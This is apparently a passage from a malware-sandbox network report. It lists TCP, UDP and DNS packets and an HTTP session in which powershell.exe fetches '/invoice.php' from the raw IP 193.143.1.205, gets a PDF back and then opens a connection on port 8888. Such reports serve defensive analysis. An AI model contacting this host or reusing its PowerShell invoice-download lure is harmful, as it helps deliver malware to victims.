Jan 10, 2025 22:07:16.661379099 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.661395073 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.661412001 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661428928 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661441088 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661451101 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661463976 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661465883 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.661475897 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661489964 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.661490917 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.661509991 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.686781883 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.686851025 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.686853886 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.686867952 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.686885118 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.686908007 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.686917067 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.686922073 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.686938047 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.686945915 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.686975002 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.701414108 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.701431990 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.701446056 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.701457024 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.701468945 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.701483011 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.701524019 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.701565981 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702075005 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702096939 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702115059 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702125072 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702140093 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702146053 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702157021 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702168941 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702243090 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702243090 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702291012 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702301025 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702312946 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702332973 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702336073 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702344894 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702356100 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702359915 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702368021 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702378035 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702384949 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702389956 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702402115 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702402115 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702413082 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702423096 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702435970 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702445984 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702457905 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702461004 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702461004 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702470064 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702478886 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702487946 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702492952 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702505112 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702518940 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702522039 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702528954 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702539921 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702550888 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702562094 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702564955 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702579021 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702590942 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702591896 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702601910 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702613115 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702625990 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702640057 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702641010 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702651024 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702672005 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702682018 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702683926 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702694893 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702707052 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702712059 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702712059 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702721119 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702733994 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702744961 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702749968 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702756882 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702769995 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702774048 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702780962 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702791929 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702801943 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702804089 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702816010 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702816963 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702828884 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702846050 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702856064 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702905893 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702905893 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702943087 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702955008 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702965975 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702980042 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.702991962 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.702996016 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703006983 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703018904 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703028917 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703036070 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703041077 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703043938 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.703047037 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703058004 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703069925 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703073025 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.703080893 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.703108072 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.703131914 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725533962 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725572109 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725584984 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725599051 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725614071 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725624084 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725627899 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725636959 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725641966 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725656033 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725694895 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725694895 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725744963 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725755930 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725769997 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725784063 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725795031 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725825071 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725872993 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725886106 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725898981 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725912094 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725919962 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725924969 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725944996 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.725964069 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725976944 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.725996971 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.726011038 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.726025105 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.726033926 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.726037979 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.726052999 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.726068020 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.726073027 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.726089001 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.747999907 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748013973 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748066902 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.748090029 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748104095 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748119116 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748125076 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.748132944 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748147964 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748157024 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.748162985 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748183012 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.748189926 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748212099 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748226881 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748229027 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.748240948 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748255968 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748261929 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.748301983 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.748358965 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748373985 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.748415947 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.773596048 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.773613930 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.773626089 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.773639917 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.773673058 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.773711920 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.774281979 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.774295092 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.774310112 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.774338961 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.814462900 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.862921000 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.867968082 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.867995024 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868006945 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868020058 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868032932 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868035078 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868043900 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868055105 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868062019 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868086100 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868098974 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868099928 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868109941 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868122101 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868123055 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868133068 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868146896 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868150949 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868159056 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868170977 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868176937 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868181944 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868192911 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868201971 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868206978 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868220091 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868222952 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868230104 CET	80	49725	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:16.868242025 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.868261099 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:16.933842897 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:17.084615946 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:17.225138903 CET	49725	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:17.794012070 CET	49726	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:17.798892975 CET	8888	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:17.801696062 CET	49726	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:17.801793098 CET	49726	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:17.806651115 CET	8888	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:18.599975109 CET	8888	49726	193.143.1.205	192.168.2.5
Jan 10, 2025 22:07:18.642550945 CET	49726	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:07:19.138673067 CET	49726	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:07:30.743825912 CET	63429	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:07:44.294655085 CET	58298	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:07:56.747646093 CET	59999	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:07:30.743825912 CET	192.168.2.5	1.1.1.1	0xd897	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:44.294655085 CET	192.168.2.5	1.1.1.1	0x3cc2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:56.747646093 CET	192.168.2.5	1.1.1.1	0x87dc	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:06.471676111 CET	1.1.1.1	192.168.2.5	0xe352	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:30.750921965 CET	1.1.1.1	192.168.2.5	0xd897	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:07:44.303615093 CET	1.1.1.1	192.168.2.5	0x3cc2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:07:56.754642963 CET	1.1.1.1	192.168.2.5	0x87dc	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49725	193.143.1.205	80	6728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:07:15.193975925 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:07:16.023919106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:07:16.024045944 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:07:16.024055958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
